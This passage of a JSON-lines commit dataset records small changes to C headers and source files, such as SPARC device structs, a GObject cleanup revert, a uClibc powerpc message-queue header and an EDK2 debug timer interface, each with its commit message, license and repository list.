NULL, f1, NULL);\n\t\tpthread_join(td, NULL);\n\t}\n\tsleep(2);\n\tfor (i = 0; i < 1000; ++i) {\n\t\tpthread_create(&td, NULL, f1, NULL);\n\t\tpthread_join(td, NULL);\n\t}\n\treturn (0);\n}\n","subject":"Adjust code to be more reliable.","message":"Adjust code to be more reliable.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"e865f3e6f4ef2d2617f5003c7c819ed15b5a511b","old_file":"include\/asm-sparc\/device.h","new_file":"include\/asm-sparc\/device.h","old_contents":"\/*\n * Arch specific extensions to struct device\n *\n * This file is released under the GPLv2\n *\/\n#include <asm-generic\/device.h>\n\n","new_contents":"\/*\n * Arch specific extensions to struct device\n *\n * This file is released under the GPLv2\n *\/\n#ifndef _ASM_SPARC_DEVICE_H\n#define _ASM_SPARC_DEVICE_H\n\nstruct device_node;\nstruct of_device;\n\nstruct dev_archdata {\n\tstruct device_node\t*prom_node;\n\tstruct of_device\t*op;\n};\n\n#endif \/* _ASM_SPARC_DEVICE_H *\/\n\n\n","subject":"Define minimal struct dev_archdata, similarly to sparc64.","message":"[SPARC]: Define minimal struct dev_archdata, similarly to sparc64.\n\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"a1f23181e284c102d6def1b4a13c29b989c5c097","old_file":"ui\/addressdialog.h","new_file":"ui\/addressdialog.h","old_contents":"","new_contents":"#pragma once\n\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QLabel>\n#include <QtCore\/QStringListModel>\n#include <QtWidgets\/QCheckBox>\n#include <QtWidgets\/QComboBox>\n#include <QtCore\/QTimer>\n#include <QtCore\/QThread>\n#include \"binaryninjaapi.h\"\n#include \"uitypes.h\"\n\nclass BINARYNINJAUIAPI GetSymbolsListThread: public QThread\n{\n\tQ_OBJECT\n\n\tQStringList m_allSymbols;\n\tstd::function<void()> m_completeFunc;\n\tstd::mutex m_mutex;\n\tbool m_done;\n\tBinaryViewRef m_view;\n\nprotected:\n\tvirtual void run() override;\n\npublic:\n\tGetSymbolsListThread(BinaryViewRef view, const std::function<void()>& completeFunc);\n\tvoid cancel();\n\n\tconst QStringList& getSymbols() const { return m_allSymbols; }\n};\n\n\nclass BINARYNINJAUIAPI AddressDialogWithPreview: public QDialog\n{\n\tQ_OBJECT\n\n\tQComboBox* m_combo;\n\tQStringListModel* m_model;\n\tQLabel* m_previewText;\n\tBinaryViewRef m_view;\n\tuint64_t m_addr;\n\tuint64_t m_here;\n\tQCheckBox* m_checkBox;\n\tbool m_resultValid;\n\tQTimer* m_updateTimer;\n\tQStringList m_historyEntries;\n\tint m_historySize;\n\tGetSymbolsListThread* m_updateThread;\n    QColor m_defaultColor;\n\tQFont m_defaultFont;\n\tQString m_prompt;\n\n\tvoid commitHistory();\n\tvoid customEvent(QEvent* event);\n\nprivate Q_SLOTS:\n\tvoid updateTimerEvent();\n\tvoid accepted();\n\tvoid updateRelativeState(int state);\n\tvoid updatePreview(QString text);\n\npublic:\n\tAddressDialogWithPreview(QWidget* parent, BinaryViewRef view, uint64_t here,\n\t\tconst QString& title = \"Go to Address\", const QString& prompt = \"Enter Expression\");\n\t~AddressDialogWithPreview() { delete m_updateThread; }\n\tuint64_t getOffset() const { return m_addr; }\n};\n","subject":"Add autocomplete and preview to 'Go To Address' dialog","message":"Add autocomplete and preview to 'Go To Address' dialog\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"4c870904cd1ae7954ea1412d9145ca75b927dc18","old_file":"gobject\/gobject-autocleanups.h","new_file":"gobject\/gobject-autocleanups.h","old_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_clear)\n","new_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","subject":"Revert \"gvalue: Use g_value_clear as clear function\"","message":"Revert \"gvalue: Use g_value_clear as clear function\"\n\nThis reverts commit 3bb2e8dfc9eae7c6abd8fbec5fa751ffcb495121.\n","lang":"C","license":"lgpl-2.1","repos":"MathieuDuponchelle\/glib,mzabaluev\/glib,endlessm\/glib,cention-sany\/glib,MathieuDuponchelle\/glib,endlessm\/glib,johne53\/MB3Glib,mzabaluev\/glib,endlessm\/glib,mzabaluev\/glib,johne53\/MB3Glib,cention-sany\/glib,MathieuDuponchelle\/glib,johne53\/MB3Glib,Distrotech\/glib,ieei\/glib,johne53\/MB3Glib,cention-sany\/glib,endlessm\/glib,ieei\/glib,Distrotech\/glib,endlessm\/glib,mzabaluev\/glib,johne53\/MB3Glib,MathieuDuponchelle\/glib,Distrotech\/glib,Distrotech\/glib,ieei\/glib,ieei\/glib,Distrotech\/glib,cention-sany\/glib,johne53\/MB3Glib,ieei\/glib,cention-sany\/glib,MathieuDuponchelle\/glib,mzabaluev\/glib"}
{"commit":"2b45cbf3663945a2a3178a93b6cf6cce81dd8376","old_file":"sipXmediaLib\/include\/mp\/MprnIntMsg.h","new_file":"sipXmediaLib\/include\/mp\/MprnIntMsg.h","old_contents":"","new_contents":"\/\/  \n\/\/ Copyright (C) 2007 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ Copyright (C) 2007 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef _MprnIntMsg_h_\n#define _MprnIntMsg_h_\n\n\/\/ SYSTEM INCLUDES\n\n\/\/ APPLICATION INCLUDES\n#include \"os\/OsMsg.h\"\n#include \"utl\/UtlString.h\"\n#include \"MpResNotificationMsg.h\"\n\n\/\/ DEFINES\n\/\/ MACROS\n\/\/ EXTERNAL FUNCTIONS\n\/\/ EXTERNAL VARIABLES\n\/\/ CONSTANTS\n\/\/ STRUCTS\n\/\/ TYPEDEFS\n\/\/ FORWARD DECLARATIONS\n\n\/\/\/ Message notification object used to send an abstract integer.\nclass MprnIntMsg : public MpResNotificationMsg\n{\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PUBLIC \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\npublic:\n\n\/* ============================ CREATORS ================================== *\/\n\/\/\/@name Creators\n\/\/@{\n\n     \/\/\/ Constructor\n   MprnIntMsg(MpResNotificationMsg::RNMsgType msgType,\n              const UtlString& namedResOriginator,\n              int value,\n              MpConnectionID connId = MP_INVALID_CONNECTION_ID,\n              int streamId = -1);\n\n     \/\/\/ Copy constructor\n   MprnIntMsg(const MprnIntMsg& rMsg);\n\n     \/\/\/ Create a copy of this msg object (which may be of a derived type)\n   virtual OsMsg* createCopy() const;\n\n     \/\/\/ Destructor\n   virtual ~MprnIntMsg();\n\n\/\/@}\n\n\/* ============================ MANIPULATORS ============================== *\/\n\/\/\/@name Manipulators\n\/\/@{\n\n     \/\/\/ Assignment operator\n   MprnIntMsg& operator=(const MprnIntMsg& rhs);\n\n     \/\/\/ Set the value this notification reports.\n   void setValue(int value);\n\n\/\/@}\n\n\/* ============================ ACCESSORS ================================= *\/\n\/\/\/@name Accessors\n\/\/@{\n\n     \/\/\/ Get the value this notification reports.\n   int getValue() const;\n\n\/\/@}\n\n\/* ============================ INQUIRY =================================== *\/\n\/\/\/@name Inquiry\n\/\/@{\n\n\/\/@}\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PROTECTED \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprotected:\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PRIVATE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprivate:\n   int mValue; \/\/\/< Reported value.\n};\n\n\/* ============================ INLINE METHODS ============================ *\/\n\n#endif  \/\/ _MprnIntMsg_h_\n","subject":"Add notification message, bearing some abstract integer.","message":"Add notification message, bearing some abstract integer.\n\n\ngit-svn-id: f26ccc5efe72c2bd8e1c40f599fe313f2692e4de@10874 a612230a-c5fa-0310-af8b-88eea846685b\n","lang":"C","license":"lgpl-2.1","repos":"sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror"}
{"commit":"e590329059edafa461324397f550cf314e35be70","old_file":"include\/dijkstra.h","new_file":"include\/dijkstra.h","old_contents":"\n#ifndef __DIJKSTRA_H__\n#define __DIJKSTRA_H__\n\n#include <track_node.h>\n\nint dijkstra(const track_node* const track,\n             const track_node* const start,\n             const track_node* const end,\n             path_node* const path);\n\n#endif\n\n","new_contents":"\n#ifndef __DIJKSTRA_H__\n#define __DIJKSTRA_H__\n\n#include <track_node.h>\n\n#define MAX_ROUTING_TIME_ESTIMATE 5\n\nint dijkstra(const track_node* const track,\n             const track_node* const start,\n             const track_node* const end,\n             path_node* const path);\n\n#endif\n","subject":"Add a max routing time estimate (in clock ticks)","message":"Add a max routing time estimate (in clock ticks)","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"}
{"commit":"f72844ae685bc5516a818402115b0df8b3efd016","old_file":"libevmjit-cpp\/JitVM.h","new_file":"libevmjit-cpp\/JitVM.h","old_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp = {}, uint64_t _steps = (uint64_t)-1) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","new_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp, uint64_t _steps) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","subject":"Change the way execution results are collected.","message":"Change the way execution results are collected.\n\nChanges handling ExecutionResult by Executive. From now execution results are collected on if a storage for results (ExecutionResult) is provided to an Executiove instance up front. This change allow better output management for calls - VM interface improved.\n","lang":"C","license":"mit","repos":"ethereum\/evmjit,ethereum\/evmjit,ethereum\/evmjit"}
{"commit":"61481afd2d1e81e91b533a55dc544a62738ba663","old_file":"chrome\/browser\/extensions\/convert_web_app.h","new_file":"chrome\/browser\/extensions\/convert_web_app.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#define CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#pragma once\n\n#include <string>\n\n#include \"base\/ref_counted.h\"\n\nclass Extension;\n\nnamespace base {\nclass Time;\n}\n\nnamespace webkit_glue {\nstruct WebApplicationInfo;\n}\n\n\/\/ Generates a version number for an extension from a time. The goal is to make\n\/\/ use of the version number to communicate some useful information. The\n\/\/ returned version has the format:\n\/\/ <year>.<month><day>.<upper 16 bits of unix timestamp>.<lower 16 bits>\nstd::string ConvertTimeToExtensionVersion(const base::Time& time);\n\n\/\/ Wraps the specified web app in an extension. The extension is created\n\/\/ unpacked in the system temp dir. Returns a valid extension that the caller\n\/\/ should take ownership on success, or NULL and |error| on failure.\n\/\/\n\/\/ NOTE: This function does file IO and should not be called on the UI thread.\n\/\/ NOTE: The caller takes ownership of the directory at extension->path() on the\n\/\/ returned object.\nscoped_refptr<Extension> ConvertWebAppToExtension(\n    const webkit_glue::WebApplicationInfo& web_app_info,\n    const base::Time& create_time);\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#define CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#pragma once\n\n#include <string>\n\n#include \"base\/ref_counted.h\"\n\nclass Extension;\n\nnamespace base {\nclass Time;\n}\n\nnamespace webkit_glue {\nclass WebApplicationInfo;\n}\n\n\/\/ Generates a version number for an extension from a time. The goal is to make\n\/\/ use of the version number to communicate some useful information. The\n\/\/ returned version has the format:\n\/\/ <year>.<month><day>.<upper 16 bits of unix timestamp>.<lower 16 bits>\nstd::string ConvertTimeToExtensionVersion(const base::Time& time);\n\n\/\/ Wraps the specified web app in an extension. The extension is created\n\/\/ unpacked in the system temp dir. Returns a valid extension that the caller\n\/\/ should take ownership on success, or NULL and |error| on failure.\n\/\/\n\/\/ NOTE: This function does file IO and should not be called on the UI thread.\n\/\/ NOTE: The caller takes ownership of the directory at extension->path() on the\n\/\/ returned object.\nscoped_refptr<Extension> ConvertWebAppToExtension(\n    const webkit_glue::WebApplicationInfo& web_app_info,\n    const base::Time& create_time);\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n","subject":"Revert 64847 - Clang fix.","message":"Revert 64847 - Clang fix.\n\nTBR=evan@chromium.org\nReview URL: http:\/\/codereview.chromium.org\/4300003\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@64850 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"23abb094a622353a97e7a51aa28aa5efb29f6fbb","old_file":"libc\/sysdeps\/linux\/powerpc\/bits\/msq.h","new_file":"libc\/sysdeps\/linux\/powerpc\/bits\/msq.h","old_contents":"","new_contents":"\/* Copyright (C) 1995, 1996, 1997, 2000 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public License as\n   published by the Free Software Foundation; either version 2 of the\n   License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If not,\n   write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n   Boston, MA 02111-1307, USA.  *\/\n\n#ifndef _SYS_MSG_H\n# error \"Never use <bits\/msq.h> directly; include <sys\/msg.h> instead.\"\n#endif\n\n#include <bits\/types.h>\n\n\/* Define options for message queue functions.  *\/\n#define MSG_NOERROR    010000  \/* no error if message is too big *\/\n#ifdef __USE_GNU\n# define MSG_EXCEPT    020000  \/* recv any msg except of specified type *\/\n#endif\n\n\/* Types used in the structure definition.  *\/\ntypedef unsigned long int msgqnum_t;\ntypedef unsigned long int msglen_t;\n\n\n\/* Structure of record for one message inside the kernel.\n   The type `struct msg' is opaque.  *\/\nstruct msqid_ds\n{\n  struct ipc_perm msg_perm;    \/* structure describing operation permission *\/\n  unsigned int __unused1;\n  __time_t msg_stime;          \/* time of last msgsnd command *\/\n  unsigned int __unused2;\n  __time_t msg_rtime;          \/* time of last msgrcv command *\/\n  unsigned int __unused3;\n  __time_t msg_ctime;          \/* time of last change *\/\n  unsigned long __msg_cbytes; \/* current number of bytes on queue *\/\n  msgqnum_t msg_qnum;          \/* number of messages currently on queue *\/\n  msglen_t msg_qbytes;         \/* max number of bytes allowed on queue *\/\n  __pid_t msg_lspid;           \/* pid of last msgsnd() *\/\n  __pid_t msg_lrpid;           \/* pid of last msgrcv() *\/\n  unsigned long __unused4;\n  unsigned long __unused5;\n};\n\n#ifdef __USE_MISC\n\n# define msg_cbytes    __msg_cbytes\n\n\/* ipcs ctl commands *\/\n# define MSG_STAT 11\n# define MSG_INFO 12\n\n\/* buffer for msgctl calls IPC_INFO, MSG_INFO *\/\nstruct msginfo\n  {\n    int msgpool;\n    int msgmap;\n    int msgmax;\n    int msgmnb;\n    int msgmni;\n    int msgssz;\n    int msgtql;\n    unsigned short int msgseg;\n  };\n\n#endif \/* __USE_MISC *\/\n","subject":"Make powerpc compile. Needs this header...","message":"Make powerpc compile.  Needs this header...\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"ac42aa1f7aa6de3cd131ecb8224f1a6d51179760","old_file":"libgo\/go\/log\/syslog\/syslog_c.c","new_file":"libgo\/go\/log\/syslog\/syslog_c.c","old_contents":"\/* syslog_c.c -- call syslog for Go.\n\n   Copyright 2011 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <syslog.h>\n\n\/* We need to use a C function to call the syslog function, because we\n   can't represent a C varargs function in Go.  *\/\n\nvoid syslog_c(int, const char*)\n  asm (\"libgo_syslog.syslog.syslog_c\");\n\nvoid\nsyslog_c (int priority, const char *msg)\n{\n  syslog (priority, \"%s\", msg);\n}\n","new_contents":"\/* syslog_c.c -- call syslog for Go.\n\n   Copyright 2011 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <syslog.h>\n\n\/* We need to use a C function to call the syslog function, because we\n   can't represent a C varargs function in Go.  *\/\n\nvoid syslog_c(int, const char*)\n  asm (\"libgo_log.syslog.syslog_c\");\n\nvoid\nsyslog_c (int priority, const char *msg)\n{\n  syslog (priority, \"%s\", msg);\n}\n","subject":"Fix name of C syslog function.","message":"syslog: Fix name of C syslog function.\n\nFrom Rainer Orth.\n\nR=iant\nCC=gofrontend-dev\nhttps:\/\/golang.org\/cl\/5480052\n","lang":"C","license":"bsd-3-clause","repos":"golang\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,golang\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,golang\/gofrontend"}
{"commit":"31e4a57f6460265515233833bead6202e7304e07","old_file":"EmbeddedPkg\/Include\/Library\/DebugAgentTimerLib.h","new_file":"EmbeddedPkg\/Include\/Library\/DebugAgentTimerLib.h","old_contents":"\/** @file\r\n  Platform specific Debug Agent abstraction for timer used by the agent. \r\n\r\n  The timer is used by the debugger to break into a running program.\r\n\r\n  Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.<BR>\r\n  \r\n  This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __GDB_TIMER_LIB__\r\n#define __GDB_TIMER_LIB__\r\n\r\n\r\n\r\n\/**\r\n  Setup all the hardware needed for the debug agents timer.\r\n\r\n  This function is used to set up debug enviroment. It may enable interrupts.\r\n\r\n**\/\r\nVOID\r\nEFIAPI\r\nDebugAgentTimerIntialize (\r\n  VOID\r\n  );\r\n  \r\n\r\n\/**\r\n  Set the period for the debug agent timer. Zero means disable the timer.\r\n\r\n  @param[in] TimerPeriodMilliseconds    Frequency of the debug agent timer.\r\n\r\n**\/  \r\nVOID\r\nEFIAPI\r\nDebugAgentTimerSetPeriod (\r\n  IN  UINT32  TimerPeriodMilliseconds\r\n  );\r\n  \r\n\r\n\/**\r\n  Perform End Of Interrupt for the debug agent timer. This is called in the \r\n  interrupt handler after the interrupt has been processed. \r\n\r\n**\/  \r\nVOID\r\nEFIAPI\r\nDebugAgentTimerEndOfInterrupt (\r\n  VOID\r\n  );\r\n  \r\n#endif\r\n  \r\n  ","new_contents":"\/** @file\r\n  Platform specific Debug Agent abstraction for timer used by the agent. \r\n\r\n  The timer is used by the debugger to break into a running program.\r\n\r\n  Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.<BR>\r\n  \r\n  This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __GDB_TIMER_LIB__\r\n#define __GDB_TIMER_LIB__\r\n\r\n\r\n\r\n\/**\r\n  Setup all the hardware needed for the debug agents timer.\r\n\r\n  This function is used to set up debug enviroment. It may enable interrupts.\r\n\r\n**\/\r\nVOID\r\nEFIAPI\r\nDebugAgentTimerIntialize (\r\n  VOID\r\n  );\r\n  \r\n\r\n\/**\r\n  Set the period for the debug agent timer. Zero means disable the timer.\r\n\r\n  @param[in] TimerPeriodMilliseconds    Frequency of the debug agent timer.\r\n\r\n**\/  \r\nVOID\r\nEFIAPI\r\nDebugAgentTimerSetPeriod (\r\n  IN  UINT32  TimerPeriodMilliseconds\r\n  );\r\n  \r\n\r\n\/**\r\n  Perform End Of Interrupt for the debug agent timer. This is called in the \r\n  interrupt handler after the interrupt has been processed. \r\n\r\n**\/  \r\nVOID\r\nEFIAPI\r\nDebugAgentTimerEndOfInterrupt (\r\n  VOID\r\n  );\r\n  \r\n#endif\r\n\r\n\r\n  ","subject":"Fix newline at end of file issue.","message":"Fix newline at end of file issue.\n\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@10508 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"f69cd49a44ad37edd7d3c7dcab82ab07633da72a","old_file":"src\/software_rasterizer\/rasterizer.h","new_file":"src\/software_rasterizer\/rasterizer.h","old_contents":"#ifndef RPLNN_RASTERIZER_H\n#define RPLNN_RASTERIZER_H\n\n\/* Currently wants the points in pixel coordinates, (0, 0) at screen center increasing towards top-right. Tri wanted as CCW \n * Depth buffer stores the depth in the first 24bits and the rest 8 are reserved for future use (stencil). *\/\nvoid rasterizer_rasterize(uint32_t *render_target, uint32_t *depth_buf, const struct vec2_int *target_size, const struct vec4_float *vert_buf, const struct vec2_float *uv_buf, const unsigned int *ind_buf, const unsigned int index_count, uint32_t *texture, struct vec2_int *texture_size);\nvoid rasterizer_clear_depth_buffer(uint32_t *depth_buf, const struct vec2_int *buf_size);\n\n#endif \/* RPLNN_RASTERIZER_H *\/\n","new_contents":"#ifndef RPLNN_RASTERIZER_H\n#define RPLNN_RASTERIZER_H\n\n\/* Currently wants the points in pixel coordinates, (0, 0) at screen center increasing towards top-right. Tri wanted as CCW \n * Depth buffer stores the depth in the first 24bits and the rest 8 are reserved for future use (stencil). *\/\nvoid rasterizer_rasterize(uint32_t *render_target, uint32_t *depth_buf, const struct vec2_int *target_size, \n\tconst struct vec4_float *vert_buf, const struct vec2_float *uv_buf, const unsigned int *ind_buf, const unsigned int index_count, \n\tuint32_t *texture, struct vec2_int *texture_size);\nvoid rasterizer_clear_depth_buffer(uint32_t *depth_buf, const struct vec2_int *buf_size);\n\n#endif \/* RPLNN_RASTERIZER_H *\/\n","subject":"Clean up 7: Split function parameter list to multiple lines.","message":"Clean up 7: Split function parameter list to multiple lines.\n","lang":"C","license":"mit","repos":"ropelinen\/rasterizer,ropelinen\/rasterizer"}
{"commit":"d1192bc1cb4ba12af995c6ae6a8a9632eb482c4a","old_file":"slave\/scoils.c","new_file":"slave\/scoils.c","old_contents":"","new_contents":"#include \"..\/modlib.h\"\n#include \"..\/parser.h\"\n#include \"stypes.h\"\n\n#include \"scoils.h\"\n\n\/\/Use external slave configuration\nextern MODBUSSlaveStatus MODBUSSlave;\n","subject":"Create slave coils module header file","message":"Create slave coils module header file\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
